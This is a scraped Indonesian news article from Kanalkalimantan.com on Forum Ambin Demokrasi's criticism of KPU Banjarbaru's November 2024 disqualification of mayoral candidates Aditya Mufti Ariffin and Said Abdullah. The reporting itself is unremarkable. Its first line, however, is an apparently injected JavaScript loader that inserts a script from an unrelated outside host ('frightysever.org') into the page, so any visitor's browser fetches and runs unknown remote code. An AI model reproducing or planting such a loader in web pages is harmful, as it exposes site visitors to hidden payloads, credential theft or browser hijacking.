(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Putusan Komisi Pemilihan Umum (KPU) Kota Banjarbaru yang membatalkan pasangan calon Aditya Mufti Ariffin-Said Abdullah MSi dalam Pemilihan WaliKota dan Wakil Wali Kota (Pilwali) Banjarbaru menjadi perhatian sejumlah pihak.
Forum Ambin Demokrasi turut menyikapi rekomendasi Bawaslu Provinsi Kalsel dan putusan KPU Kota Banjarbaru yang mendiskualifikasi pasangan calon nomor urut 2 Pilwali Banjarbaru 2024 tersebut.
Diskusi Anggota Forum Ambin Demokrasi yang dihadiri Muhammad Effendy, Hairansyah, Noorhalis Majid, drg IBG Dharma Putra, Abdul Haris Makkie, Winardi Sethiono, Nasrullah, Khairiadi Asa, Nanik Hayati, dan Suriani Hair menghasilkan sejumlah catatan.
1. Rekomendasi yang disampaikan Bawaslu Provinsi Kalsel adalah suatu langkah berani dan tegas, dimana sebelumnya banyak laporan terkait masalah ini untuk Pilkada, berakhir dengan penolakan atau pengabaian oleh Bawaslu.
2. Sayangnya ada banyak drama yang mengiringi proses pelaksanaan Pilkada di Kota Banjarbaru, sehingga memunculkan berbagai spekulasi dari publik, terutama terkait independensi penyelenggara Pemilu, serta kemampuan menolak berbagai tekanan kuasa modal.
3. Karena Pilkada merupakan agenda publik yang sangat penting, maka Bawaslu Provinsi Kalsel dan KPU Kota Banjarbaru harus menjelaskan secara terbuka proses yang sudah dilakukan termasuk hak-hak hukum dari terlapor yang merasa dirugikan hak hukumnya akibat keputusan tersebut. Sehingga publik bisa mendapatkan informasi secara menyeluruh, hal ini juga sebagai bentuk transparansi dan pertanggungjawaban kepada publik.
4. Menyayangkan adanya kesan terburu-buru dari KPU Kota Banjarbaru dalam menindaklanjuti rekomendasi Bawaslu mengingat rekomendasi dimaksud menyangkut hak-hak politik dari warga negara yang merupakan hak asasi manusia yang perlu dilakukan secara cermat dan kehati-hatian. Padahal sesuai ketentuan Pasal 140 UU No 1 Tahun 2015 KPU Provinsi/Kabupaten/Kota memiliki waktu 7 hari untuk memeriksa dan memutus sejak rekomendasi diberikan, bukan 3 hari seperti yang disampaikan Ketua KPU Provinsi Kalsel yang dikutip salah satu media.
5. Perlu ditegaskan kewenangan penanganan oleh Bawaslu Provinsi Kalsel mengingat pelanggaran yang dilaporkan tersebut terjadi dalam wilayah Pemilihan Wali Kota yang mana Bawaslu Kota Banjarbaru memiliki kewenangan pengawasan dan penerimaan laporan di wilayah kerja. Sesuai ketentuan Pasal 2 Perbawaslu Nomor 6 Tahun 2024 ayat 4 Pengawas Pemilihan menyelenggarakan Pengawasan Pemilihan sesuai dengan wilayah kerjanya dan bersifat hierarki.
Baca juga: Skenario Calon Tunggal Pilwali Banjarbaru, Partai Buruh: Penjegalan Sudah Diupayakan Sejak Awal
6. KPU Kota Banjarnbaru memiliki kewenangan untuk mempertimbangkan rekomendasi Bawaslu Provinsi Kalsel, apakah melaksanakan secara keseluruhan atau melakukan evaluasi komprehensif untuk membuat keputusan lain yang lebih mencerminkan aspek penegakan hukum dan rasa keadilan bagi masyarakat.
7. Menyarankan kepada pihak yang merasa dirugikan akibat keputusan dimaksud secara prosedural untuk melakukan upaya hukum dengan mengajukan gugatan TUN ke PT TUN.
8. Mendorong publik agar tetap bersikap arif, tidak ikut terburu-buru mengambil langkah gegabah, sehingga menimbulkan masalah yang lebih besar, agar proses Pilkada tetap berjalan secara aman, damai, jujur dan berkeadilan.
Sebagaimana diketahui, Ketua KPU Kota Banjarbaru, Dahtiar menyampaikan pembatalan pencalonan pasangan Aditya Mufti Ariffin dan Said Abdullah sebagai calon Wali Kota dan Wakil Wali Kota Banjarbaru, Jumat (1/11/2024) siang.
Baca juga: Putusan Bocor Sebelum Diumumkan, Aditya-Said Abdullah Pertimbangkan Gugatan ke MA
Dahtiar menjelaskan bahwa benar KPU Banjarbaru mengeluarkan Surat Keputusan (SK) bernomor 124 tahun 2024 tentang Pembatalan Aditya Mufti Ariffin dan Said Abdullah sebagai Pasangan Calon Wali Kota dan Wakil Wali Kota Banjarbaru tahun 2024.
SK itu diputuskan atas rekomendasi yang disodorkan Bawaslu Provinsi Kalsel terkait pelanggaran administrasi pemilihan terhadap Wali Kota dan Wakil Wali Kota pada 28 Oktober 2024 lalu.
“Kita sudah menerima rekomendasi, setelah kita telaah melihat data-data bukti bukti dalam rekomendasi tersebut akhirnya kita juga melihat pemenuhan unsur-unsur terkait dengan Pasal 71 ayat 1 junto ayat 3 yang disebutkan dalam rekomendasi tersebut maka KPU Banjarbaru mengeluarkan SK Pembatalan tersebut di atas,” ujarnya. (Kanalkalimantan.com/rizki)
Reporter: rizki
Editor: bie
KANALKALIMANTAN.COM, JAKARTA - Sidang Praperadilan Gubernur Kalimantan Selatan (Kalsel) Sahbirin Noor mulai digelar di Pengadilan… Read More
KANALKALIMANTAN.COM, BALIKPAPAN - Memperingati Hari Listrik Nasional (HLN) ke-79, PT PLN (Persero) Unit Penyaluran dan… Read More
KANALKALIMANTAN.COM - Kebutuhan masyarakat Indonesia untuk transfer ke luar negeri semakin meningkat. Hal ini karena banyaknya… Read More
KANALKALIMANTAN.COM, JAKARTA - Menyambut tingginya antusiasme para jurnalis dalam berpartisipasi pada ajang PLN Journalist Award… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Komisi Pemilihan Umum (KPU) Kota Banjarmasin mengevaluasi beberapa hal pasca debat perdana… Read More
KANALKALIMANTAN.COM, JAKARTA – Pemerintah Kota (Pemko) Banjarbaru menerima Bhumandala Award kategori penyelenggara informasi geospasial terbaik… Read More
This website uses cookies.